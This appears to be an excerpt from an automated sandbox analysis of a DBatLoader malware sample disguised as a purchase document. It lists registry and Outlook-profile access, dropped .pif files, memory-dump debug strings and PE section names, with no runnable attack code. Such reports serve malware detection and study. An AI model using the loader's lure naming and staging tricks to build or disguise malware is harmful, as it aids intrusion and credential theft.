Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Static file information: File size 1264128 > 1048576

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: ymafvvdS.pif, 00000009.00000003.2241637142.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: ymafvvdS.pif, 00000009.00000003.2312451071.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2322898064.00000000247E0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2313769391.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: ymafvvdS.pif, 00000009.00000003.1580591877.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdb source: ymafvvdS.pif, 00000009.00000003.1700911877.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: ymafvvdS.pif, 00000009.00000003.1940616402.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdb source: ymafvvdS.pif, 00000009.00000003.1787107994.0000000026BA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVClient.pdb source: ymafvvdS.pif, 00000009.00000003.1633670548.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: ymafvvdS.pif, 00000009.00000003.2082255525.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: ymafvvdS.pif, 00000009.00000003.2082255525.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1700911877.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: ymafvvdS.pif, 00000009.00000003.2097354013.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.2369897721.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2373134718.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: ymafvvdS.pif, 00000009.00000003.1664213164.000000002A570000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdb source: ymafvvdS.pif, 00000009.00000003.1713087935.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: ymafvvdS.pif, 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: ymafvvdS.pif, 00000009.00000003.2057718300.000000002A440000.00000004.00001000.00020000.00000000.sdmp, SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: MsSense.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1732759810.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: ymafvvdS.pif, 00000009.00000003.2235576907.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: ymafvvdS.pif, 00000009.00000003.2352471485.0000000024870000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsSense.pdb source: ymafvvdS.pif, 00000009.00000003.1732759810.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: ymafvvdS.pif, 00000009.00000003.2254314315.00000000247F0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2262955419.0000000024590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000016.00000000.1659735755.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000021.00000002.1771358860.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000022.00000002.1777105344.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000025.00000000.1779655078.0000000000191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021D10000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209AA000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021CDF000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.00000000024F5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.000000002097A000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.00000000024F6000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1580684456.0000000000AF6000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1838933224.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdb source: esentutl.exe, 0000000B.00000003.1605531348.0000000005490000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000017.00000000.1660461231.0000000000771000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: ymafvvdS.pif, 00000009.00000003.2130368671.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: ymafvvdS.pif, 00000009.00000003.1948869913.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: Common.ShowHelp.exe.9.dr
Source:	Binary string: locator.pdb source: ymafvvdS.pif, 00000009.00000003.1724937855.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1729612857.0000000026950000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1642151858.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: ymafvvdS.pif, 00000009.00000003.2097354013.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: ymafvvdS.pif, 00000009.00000003.1967395984.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209AA000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.000000002097A000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1580684456.0000000000AF6000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb source: ymafvvdS.pif, 00000009.00000003.1948869913.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000005.00000003.1559563944.0000000005730000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000002.1647022839.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000016.00000000.1659735755.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000021.00000002.1771358860.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000022.00000002.1777105344.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000025.00000000.1779655078.0000000000191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: ymafvvdS.pif, 00000009.00000003.2312451071.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2322898064.00000000247E0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2313769391.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 0000000B.00000003.1605531348.0000000005490000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000017.00000000.1660461231.0000000000771000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: easinvoker.pdbH source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: ymafvvdS.pif, 00000009.00000003.2057718300.000000002A440000.00000004.00001000.00020000.00000000.sdmp, SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: ymafvvdS.pif, 00000009.00000003.2153849793.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: ymafvvdS.pif, 00000009.00000003.1940616402.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: ymafvvdS.pif, 00000009.00000003.2369897721.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2373134718.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2219413171.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1750131417.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1692731195.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1713087935.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: ymafvvdS.pif, 00000009.00000003.1687218296.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1723219239.0000000026950000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1718639908.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1717822297.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: ymafvvdS.pif, 00000009.00000003.2352471485.0000000024870000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb source: Common.ShowHelp.exe.9.dr
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: ymafvvdS.pif, 00000009.00000003.2199797397.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: ymafvvdS.pif, 00000009.00000003.2130368671.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVClient.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1633670548.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdb source: ymafvvdS.pif, 00000009.00000003.1723219239.0000000026950000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1718639908.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1717822297.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: ymafvvdS.pif, 00000009.00000003.2206197003.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: ymafvvdS.pif, 00000009.00000003.2241637142.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: ymafvvdS.pif, 00000009.00000003.2153849793.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2235576907.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: ymafvvdS.pif, 00000009.00000003.1687218296.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: ymafvvdS.pif, 00000009.00000003.2254314315.00000000247F0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2262955419.0000000024590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdb source: ymafvvdS.pif, 00000009.00000003.1798231706.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1798231706.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: ymafvvdS.pif, 00000009.00000003.1838933224.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: ymafvvdS.pif, 00000009.00000003.2161636209.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: ymafvvdS.pif, 00000009.00000003.1608878398.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: ymafvvdS.pif, 00000009.00000003.1692731195.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: ymafvvdS.pif, 00000009.00000003.1642151858.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1608878398.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: ymafvvdS.pif, 00000009.00000003.1664213164.000000002A570000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: ymafvvdS.pif, 00000009.00000003.1967395984.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1724937855.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1729612857.0000000026950000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdbX source: ymafvvdS.pif, 00000009.00000003.1787107994.0000000026BA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: ymafvvdS.pif, 00000009.00000003.2347088719.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: ymafvvdS.pif, 00000009.00000003.1750131417.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2206197003.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: ymafvvdS.pif, 00000009.00000003.2161636209.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.2347088719.0000000024880000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.PURCHASE REQUIRED DETAILS 000487958790903403.exe.2b10000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: ymafvvdS.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B2894C

Source: alpha.pif.5.dr	Static PE information: section name: .didat
Source: OfficeC2RClient.exe.9.dr	Static PE information: section name: .didat
Source: OfficeC2RClient.exe.9.dr	Static PE information: section name: .detourc
Source: officesvcmgr.exe.9.dr	Static PE information: section name: .didat
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: .00cfg
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: .gxfg
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: .retplne
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: LZMADEC
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: _RDATA
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: malloc_h
Source: chrmstp.exe.9.dr	Static PE information: section name: .00cfg
Source: chrmstp.exe.9.dr	Static PE information: section name: .gxfg
Source: chrmstp.exe.9.dr	Static PE information: section name: .retplne
Source: chrmstp.exe.9.dr	Static PE information: section name: CPADinfo
Source: chrmstp.exe.9.dr	Static PE information: section name: LZMADEC
Source: chrmstp.exe.9.dr	Static PE information: section name: _RDATA
Source: chrmstp.exe.9.dr	Static PE information: section name: malloc_h
Source: setup.exe.9.dr	Static PE information: section name: .00cfg
Source: setup.exe.9.dr	Static PE information: section name: .gxfg
Source: setup.exe.9.dr	Static PE information: section name: .retplne
Source: setup.exe.9.dr	Static PE information: section name: CPADinfo
Source: setup.exe.9.dr	Static PE information: section name: LZMADEC
Source: setup.exe.9.dr	Static PE information: section name: _RDATA
Source: setup.exe.9.dr	Static PE information: section name: malloc_h
Source: notification_helper.exe.9.dr	Static PE information: section name: .00cfg
Source: notification_helper.exe.9.dr	Static PE information: section name: .gxfg
Source: notification_helper.exe.9.dr	Static PE information: section name: .retplne
Source: notification_helper.exe.9.dr	Static PE information: section name: CPADinfo
Source: notification_helper.exe.9.dr	Static PE information: section name: _RDATA
Source: notification_helper.exe.9.dr	Static PE information: section name: malloc_h
Source: chrome_proxy.exe.9.dr	Static PE information: section name: .00cfg
Source: chrome_proxy.exe.9.dr	Static PE information: section name: .gxfg
Source: chrome_proxy.exe.9.dr	Static PE information: section name: .retplne
Source: chrome_proxy.exe.9.dr	Static PE information: section name: _RDATA
Source: chrome_proxy.exe.9.dr	Static PE information: section name: malloc_h
Source: crashreporter.exe.9.dr	Static PE information: section name: .00cfg
Source: crashreporter.exe.9.dr	Static PE information: section name: .voltbl
Source: default-browser-agent.exe.9.dr	Static PE information: section name: .00cfg
Source: default-browser-agent.exe.9.dr	Static PE information: section name: .voltbl
Source: firefox.exe.9.dr	Static PE information: section name: .00cfg
Source: firefox.exe.9.dr	Static PE information: section name: .freestd
Source: firefox.exe.9.dr	Static PE information: section name: .retplne
Source: firefox.exe.9.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.9.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.9.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.9.dr	Static PE information: section name: _RDATA
Source: armsvc.exe.9.dr	Static PE information: section name: .didat
Source: alg.exe.9.dr	Static PE information: section name: .didat
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: _RDATA
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: .gxfg
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: .gehcont
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: _RDATA
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: .gxfg
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: .gehcont
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .retplne
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .retplne
Source: FXSSVC.exe.9.dr	Static PE information: section name: .didat
Source: elevation_service.exe.9.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.9.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.9.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.9.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.9.dr	Static PE information: section name: malloc_h
Source: elevation_service.exe0.9.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.9.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.9.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.9.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.9.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe0.9.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe0.9.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe0.9.dr	Static PE information: section name: _RDATA
Source: msdtc.exe.9.dr	Static PE information: section name: .didat
Source: msiexec.exe.9.dr	Static PE information: section name: .didat
Source: MsSense.exe.9.dr	Static PE information: section name: .didat
Source: unpack200.exe.9.dr	Static PE information: section name: .00cfg
Source: Spectrum.exe.9.dr	Static PE information: section name: .didat
Source: TieringEngineService.exe.9.dr	Static PE information: section name: .didat
Source: vds.exe.9.dr	Static PE information: section name: .didat
Source: VSSVC.exe.9.dr	Static PE information: section name: .didat
Source: WmiApSrv.exe.9.dr	Static PE information: section name: .didat
Source: wmpnetwk.exe.9.dr	Static PE information: section name: .didat
Source: ie_to_edge_stub.exe.9.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.9.dr	Static PE information: section name: .gxfg
Source: ie_to_edge_stub.exe.9.dr	Static PE information: section name: .retplne
Source: ie_to_edge_stub.exe.9.dr	Static PE information: section name: _RDATA
Source: cookie_exporter.exe.9.dr	Static PE information: section name: .00cfg
Source: cookie_exporter.exe.9.dr	Static PE information: section name: .gxfg
Source: cookie_exporter.exe.9.dr	Static PE information: section name: .retplne
Source: cookie_exporter.exe.9.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.9.dr	Static PE information: section name: .00cfg
Source: identity_helper.exe.9.dr	Static PE information: section name: .gxfg
Source: identity_helper.exe.9.dr	Static PE information: section name: .retplne
Source: identity_helper.exe.9.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.9.dr	Static PE information: section name: malloc_h
Source: setup.exe0.9.dr	Static PE information: section name: .00cfg
Source: setup.exe0.9.dr	Static PE information: section name: .gxfg
Source: setup.exe0.9.dr	Static PE information: section name: .retplne
Source: setup.exe0.9.dr	Static PE information: section name: LZMADEC
Source: setup.exe0.9.dr	Static PE information: section name: _RDATA
Source: setup.exe0.9.dr	Static PE information: section name: malloc_h
Source: msedgewebview2.exe.9.dr	Static PE information: section name: .00cfg
Source: msedgewebview2.exe.9.dr	Static PE information: section name: .gxfg
Source: msedgewebview2.exe.9.dr	Static PE information: section name: .retplne
Source: msedgewebview2.exe.9.dr	Static PE information: section name: CPADinfo
Source: msedgewebview2.exe.9.dr	Static PE information: section name: LZMADEC
Source: msedgewebview2.exe.9.dr	Static PE information: section name: _RDATA
Source: msedgewebview2.exe.9.dr	Static PE information: section name: malloc_h

